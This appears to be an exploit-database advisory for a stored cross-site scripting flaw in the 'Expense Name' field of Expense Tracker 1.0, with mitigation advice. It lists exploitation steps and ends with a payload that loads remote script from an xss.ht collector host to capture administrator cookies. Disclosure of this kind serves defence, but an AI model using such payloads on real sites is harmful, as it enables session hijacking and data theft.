header-logo
Suggest Exploit
vendor:
Expense Tracker
by:
Shivam Verma
5.5
CVSS
MEDIUM
Stored Cross-Site Scripting
79
CWE
Product Name: Expense Tracker
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Kali Linux
2021

Expense Tracker 1.0 – ‘Expense Name’ Stored Cross-Site Scripting

This vulnerability allows an attacker to inject malicious payloads in the Expense Category section and paste the payload in the desired field. Each time the admin or user visits and manages the user data, the malicious payload (XSS) triggers, allowing the attacker to capture the admin cookies and access the users' data in plain text.

Mitigation:

To mitigate this vulnerability, the application should properly validate and sanitize user inputs before displaying them on the website. It is recommended to use output encoding or escaping techniques to prevent the execution of malicious scripts.
Source

Exploit-DB raw data:

# Exploit Title: Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting
# Exploit Author: Shivam Verma(cyb3r_n3rd)
# Date: 2021-01-05
# Vendor Homepage: https://code-projects.org/expense-tracker-in-php-with-source-code/
# Software Link: https://code-projects.org
# Version: 1.0
# Category: Web Application
# Tested on: Kali Linux
# Contact: https://www.linkedin.com/in/shivam413

Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Expense Category section and Paste the Payload in the Desired field each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data in Plain Text

Step 1. Install The Software
Step 2. Click on Add Expense Category
Step 3. Now paste your Xss Payload in the Parameter(Expense Name)
Step 4. Click on Add
Step 5. Wait for the Administrator to click on Your link
Step 6. You will receive Admin Cookie Every time he Process the Request

---

XSS Payload: "><script src=https://.xss.ht></script>